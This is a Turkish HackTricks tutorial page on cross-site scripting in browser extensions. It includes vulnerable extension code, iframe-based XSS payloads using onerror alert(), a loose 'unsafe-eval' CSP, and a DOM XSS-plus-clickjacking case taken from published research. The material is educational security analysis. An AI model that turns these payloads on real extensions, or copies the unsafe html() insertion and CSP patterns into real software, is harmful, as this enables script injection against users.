BrowExt - XSS Örneği
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Iframe Üzerinden Cross-Site Scripting (XSS)
Bu yapılandırmada, bir içerik betiği bir Iframe oluşturmak için uygulanır ve Iframe'in kaynağı olarak sorgu parametreleri içeren bir URL kullanılır:
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
Herkese açık bir HTML sayfası, message.html
, URL'deki parametrelere dayalı olarak belge gövdesine dinamik olarak içerik eklemek için tasarlanmıştır:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
Kötü niyetli bir betik, bir düşmanın sayfasında çalıştırılır ve Iframe'in kaynağının content
parametresi, bir XSS yükü eklemek için değiştirilir. Bu, Iframe'in kaynağını zararlı bir betik içerecek şekilde güncelleyerek gerçekleştirilir:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
Aşırı izin veren bir İçerik Güvenlik Politikası, örneğin:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
JavaScript'in çalıştırılmasına izin verir, bu da sistemi XSS saldırılarına karşı savunmasız hale getirir.
XSS'i tetiklemek için alternatif bir yaklaşım, bir Iframe öğesi oluşturmak ve kaynağını content
parametresi olarak zararlı scripti içerecek şekilde ayarlamaktır:
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
DOM tabanlı XSS + ClickJacking
Bu örnek orijinal yazıdan alınmıştır.
Temel sorun, /html/bookmarks.html
dosyasında bulunan bir DOM tabanlı Cross-site Scripting (XSS) açığından kaynaklanmaktadır. Aşağıda detaylandırılan sorunlu JavaScript, bookmarks.js
dosyasının bir parçasıdır:
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
Bu kod parçası, txtName
giriş alanından değeri alır ve HTML oluşturmak için dize birleştirmesi kullanır, ardından bu HTML, jQuery’nin .append()
fonksiyonu kullanılarak DOM'a eklenir.
Genellikle, Chrome uzantısının İçerik Güvenlik Politikası (CSP) bu tür zafiyetleri önler. Ancak, ‘unsafe-eval’ ile CSP gevşetmesi ve jQuery’nin DOM manipülasyon yöntemlerinin kullanımı (bu yöntemler, DOM eklenmesi sırasında scriptleri eval()
ile geçmek için globalEval()
kullanır) nedeniyle, istismar hala mümkündür.
Bu zafiyet önemli olsa da, istismarı genellikle kullanıcı etkileşimine bağlıdır: sayfayı ziyaret etmek, bir XSS yükü girmek ve “Ekle” butonunu etkinleştirmek.
Bu zafiyeti artırmak için, ikincil bir clickjacking zafiyeti istismar edilir. Chrome uzantısının manifesti, kapsamlı bir web_accessible_resources
politikasını sergilemektedir:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Özellikle, /html/bookmarks.html
sayfası çerçevelemeye karşı hassastır, bu nedenle clickjacking'e karşı savunmasızdır. Bu zafiyet, sayfayı bir saldırganın sitesinin içinde çerçevelemek için kullanılır ve arayüzü yanıltıcı bir şekilde yeniden tasarlamak için DOM öğeleri ile örtülür. Bu manipülasyon, kurbanların alttaki uzantıyla istemeden etkileşimde bulunmasına yol açar.
Referanslar
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.